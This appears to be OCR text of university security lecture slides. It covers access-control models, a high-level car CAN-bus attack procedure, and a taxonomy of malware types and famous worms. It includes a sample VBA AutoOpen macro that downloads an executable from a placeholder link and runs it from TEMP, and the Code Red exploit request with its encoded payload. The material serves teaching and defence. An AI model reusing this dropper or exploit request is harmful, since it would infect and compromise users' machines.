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Previous Class

Implementation Principles
— Policy and Mechanism Decoupling
— Reference Monitor

Bell-LaPadula (BLP) Secrecy Model
— No read up

— No write down

Biba Integrity Model

— No read down

— No write up

Chinese Wall Model

— If you have accessed the data of a corporation, you cannot
read the data of its competitors
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Writing Assignments

« Can a user cleared for (S, {dog, cat, pig}) read
documents classified in the following ways under
the BLP model?

— (TS, {dog})
— (S, {dog})
— (S, {dog, cow})
— (S, {monkeys})
— (G, {dog, pig, cat})
- (G, {})
* (S, {dog}), (C, {dog, pig, cat}), and (C, { })
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Previous Class

Can BLP and Biba be enforced in the same system?
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Terms and Architecture

Terms:

— CAN: Controller Area Network. A message bus in vehicle for

inter-component communication

— ECU: Electronic Control Unit. Each is an embedded system.
E.g., engine ECU, transmission ECU, airbag ECU, ABS ECU

— Head unit: multimedia system

CAN bus

Engine ECU

Transmission

Head unit/
OMAP chip/
UConnect
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Steering ECU




Attack Procedure

CAN bus

Engine ECU

Transmission

Head unit/
OMAP chip/ -
UConnect

ECU

ABS ECU

Steering ECU

1. Establish network connection with victim car: either guess WiFi
password, or scan cars connected to the Sprint cellular network

S A

=
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Port scanning and find a vulnerable service listening at some port
Exploit the service to login the computer for the head unit
Command the head unit to “update” the firmware at V850

Now you can send messages to the ECUs to control the car



Outline

* Virus vs. Worm vs. Trojan
— Detailed discussion about Worms

« Spyware vs. Ransomware vs. Botnet vs. Rootkit

T
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Malware

« Malware: malicious software
* Alarge variety

* A huge number of terms:

— Trojan, Virus, Worm, Rootkit, Spyware, Botnet, Logic
bomb, Drive-by-download, Backdoor, Adware, ...
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Classification is important

- Classification based on propagation; i.e., how has
the malicious software reached victims?

— Trojan
— Virus
— Worm
— Drive-by-download
 Classification based on payload; i.e., what malicious
actions does the malware take?
— Spyware: to steal (info.)
— Ransomware: to extort
— Botnet: to control
— Rootkit: to hide
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Trojan

« Named after the wooden horse the Greeks used
to cheat and infiltrate Troy

\ .
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Trojan

* A malicious program that /ooks innocent
— It looks like, e.g., a browser, music player, or calendar
* |t does not replicate itself, so it relies on user
iInteraction to install it

— E.g., the malware author may publish Trojans in the
form of “free” software; then, users are lured to
download and install them

T
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Virus

« A computer virus is a type of malware that
propagates by inserting a copy of itself into and
becoming part of another program
— Like a biological virus, a computer virus cannot live

iIndependently; it has to be part of a host program

* It actively replicates itself by infecting other files
once reaching a computer

* |t passively infects other computers, when, e.qg.,
— Avictim user sends the infected file through emails
— An infected USB drive is inserted to another computer
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program V

1234567,
HOW to I nfeCt? procedure attach-to-program;
begin
repeat
° i : file := get-random-program,;
An InfeCted flle example until first-program-line # 1234567,
» The first line “1234567;” | prepend Vio fie;
: : ’ d;
is a flag showing that |
the file has been gro?edure execute-payload;
. . egin
|nfeC.ted tO aVO|.d (* perform payload actions *)
duplicate infection end;
* The fu nCtion “main gro.cedure trigger-condition;
' y - egin
action b / OCK IS the (* return true if trigger condition is true *)
entry point of the end;
prOg ram begin (* main action block *)

attach-to-program,;
if trigger-condition then execute-payload;

II goto main;
4L CIS 4360 — Secure end;




While some viruses infect executable files, many infect word,

excel, power point files
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Macro Viruses

« What is a Macro?

— A Macro is a series of commands defined for automation

— Used in Microsoft Office

— Useful example: “Company Letterhead” macro

— Can even create “AutoExec”, “AutoNew”, “AutoOpen” macros

What are the advantages of macro viruses compared to
viruses infecting native executables?

— They are platform-independent; a macro virus in a document
can run on both Mac and PC

— Very often, word/ppt/excel files are attached in emails

Tools | Table ‘Window Help

Y speling and Grammar... F7 4 [ 3 58 43| Q1 9 100%
Word Count. ..
Protect Document. .. R R EEE

Templates and Add-Ins... @ Record New Macro...
=7 AutaCarrect Ontinns. .. Car ik I""g

ITI i' Macro Ll ’ Macros... Alt+F3




An “AutoOpen” Macro virus example

‘@ File

Edit  View

Insert Format

A =™ N N A 'S

Debug Run Tools Add-Ins Window Help

n @ & FY @ o cot

Project - Project X
= E
Normal
= @ Project

=& Microsoft Word Objects

ThisDocument
(7] References

< 111 | >

Properties - ThisDocument [:]

ThisDocumen! Document
Alphabetic |Categorized |

(Name) ThisDocument A
AutoFormatOve False
AutoHyphenatidgE == _:J

I (General)

Priwvate Declare Function URLDownloadToFile
Likh "urlmon"
Alias "URLDownloadToFileli"™ (ByVal
ByVal
ByVal
ByVal

ByVal

pCaller As Long, _
3zURL As 3tring, _
szFileNawe As String, _
dvReserved As Long, _
lpfnCE As Long) As Long

Sulb Auto_Openf()
h

End Sub

Sub hi)
On Error Resume Next

Dim url As 3tring

url = "delimitadordelaurl
url Replaceurl, fere)
URLDownloadToFile 0O,
Shell Environ("TEMP")
End Sub

ror
4

"DIRECT LINK HERE",
& "\test02.exe"

Environ("TEMP™)

& "ytest02.exe",

o, 0

Sub AutoOpen()
Auto_ Open

End Sub

Sub Workbook Openf)
Auto_Open

End Sub




Thus, don't open documents, such as email attachments,
from untrusted sources;

Macro Viruses do not rely on vulnerabilities, while Scripting Viruses
usually exploit vulnerabilities of the script interpreters, such as browsers
and PDF readers. They become more popular nowadays.

We will touch more on this when discussing

T
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Worm

A Worm is malicious code which replicates
automatically itself over a network

* Worms generally exploit vulnerabilities in remote
services or local email clients to spread

A

T
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Melissa 1998 e-mail worm
first to include virus, worm and Trojan in one package
Code Red July 2001 exploited Microsoft 1IS bug
probes random IP addresses
consumes significant Internet capacity when active
Code Red Il August 2001 also targeted Microsoft IIS
installs a backdoor for access
Nimda September 2001 had worm, virus and mobile code characteristics
spread using e-mail, Windows shares, Web servers, Web clients,
backdoors
SQL Slammer Early 2003 exploited a buffer overflow vulnerability in SQL server
compact and spread rapidly
Sobig.F Late 2003 exploited open proxy servers to turn infected machines into spam
engines
Mydoom 2004 mass-mailing e-mail worm
installed a backdoor in infected machines
Warezov 2006 creates executables in system directories
sends itself as an e-mail attachment
can disable security related products
Conficker November 2008 exploits a Windows buffer overflow vulnerability
(Downadup) most widespread infection since SQL Slammer
Stuxnet 2010 restricted rate of spread to reduce chance of detection

targeted industrial control systems




Case Study — Code Red

« 2001; exploited a buffer overflow vulnerability in
Microsoft IS

— Surprisingly, the patch was actually released one
month earlier than the attack. What is the lesson?

* Infected 360,000 servers in 14 hours

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNN
%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3
%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0




Trojan vs. Virus vs. Worm

I T B )

Self-replicated

Self-contained Y N Y
Relying on exploitation N Maybe (e.g., Y
of vulnerabilities scripting viruses)

T
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Drive-by Download

 Itis not malware but is a way to distribute malware

« Adrive-by download refers to the unintended
download of malware onto your computer

— Typically, attackers first compromise a popular website,
and insert malicious code into webpages

— Next, when a user visits the webpages, the malicious code
(usually, scripting viruses) is downloaded and executed in
the browser

— Finally, the malicious code exploits vulnerabilities of the
browser to download and install malware without the user’s

permission or knowledge
« Some variants exploit bugs in PDF readers and
email client to download malware stealthily

T
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Fundamental Change in Malware Distribution

Distribution
methods

Form of malware

Late 80s to late Late 90s to Mid-2000s to
90s mid-2000s present
Floppy Disks, Email attachments, Drive-by-
Worms file downloads downloads (at

Executable code in
static file

CIS 4360 — Secure Computer Systems

legitimate sites)

Active content on
web pages
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Demo

» Drive-by Download through invisible iIFrames
— https://youtu.be/_cBed6-uflQ

» Malvertising: you can even buy advertisement
service from a website; instead of advertising
products, you distribute malware through the ads

— This way, you even do not need to compromise the
website to achieve drive-by downloads

T
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What makes Drive-by Download particularly dangerous is that
it infects your computer by simply a link.

T
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Classification is important

- Classification based on propagation; i.e., how has
the malicious software reached victims?

— Trojan
— Virus
— Worm
— Drive-by-download
 Classification based on payload; i.e., what malicious
actions does the malware take?
— Spyware: to steal (info.)
— Ransomware: to extort
— Botnet: to control
— Rootkit: to hide

T
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Botnet

Botnet — a collection of compromised computers that are

controlled by hackers for organized attacks
— BOTNET: roBOT + NETwork

In a Botnet, a compromised computer is called a
“Zombie”, “Bot”, “Robot”, or “Drone”, while a botnet
owner is called a “bot header” or “bot master”

Uses:
— Steal privacy information
— Distributed denial-of-service (DDoS) attacks
— Spamming
Spreading new malware
Manipulating online polls/games
Bitcoin mining
Click fraud

CIS 4360 — Secure Computer Systems
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Classic Botnet Structure

botmaster

Recently, the topology has evolved to P2P, so that you cannot
simply take down the C&C servers to defeat a botnet




How to “recruit” bots?

Drive-by downloads
Trojans
Worms

T
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Botnet Statistics (3/3)

1'203'691
Ponmocup
67'532
Artro 111'021
90'330
TDsS 50'084
59'338
Gbot 46'201
Carberp 1295-867272
) 22'855
Gozi 17'186
' 20'599
Ramnit 10'211
11'354
Zeus 7's547
4'855
SpyEye '
224 % / e / / 7/
0 200'000 400'000 600000 800'000 1'000'000 1'200'000 1'400'000

Number of unique IPs within
M Total IPs M New IPs 24hrs hitting abuse.ch's Sinkhole
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Countermeasures against Botnets

* Keep your systems up to date
Blacklisting domains/IPs of C&C servers
Taking down the C&C servers

Packet filtering

Law enforcement

T
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Rootkit

* Arootkit is an application (not necessarily
malware) that hides its presence or the presence
of another application (worm, spyware, etc)

— Using some of the low-level functionalities, e.g.,
rewriting system calls, intercepting lib calls, to change
the return results of the calls

« E.g., a rootkit may intercept the call that returns the list of all alive
processes and remove the malicious process from the list

« E.g., a rootkit may modify the call that return the list of files in a
directory and remove the malicious file from the list

— Hard to detect via anti-virus software, as AV software
call the crooked system/API calls

T
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Types of Rootkits

User mode

Kernel mode

— Avariant is called bootkits that interfere with the boot
process to gain control before the kernel starts

Hypervisor level
Firmware level

T
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Summary

Virus vs. Worm vs. Trojan
Drive-by download
Botnet

Rootkit

T
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Writing Assignments

* |t is absolutely possible that an experienced
attacker may combine the techniques of viruses
and worms. Could you find one concrete
example in the list of famous worm attacks?

* Does a drive-by download attack always
succeed when you open a malicious webpage?

* Describe the main components in a classic
botnet structure

T
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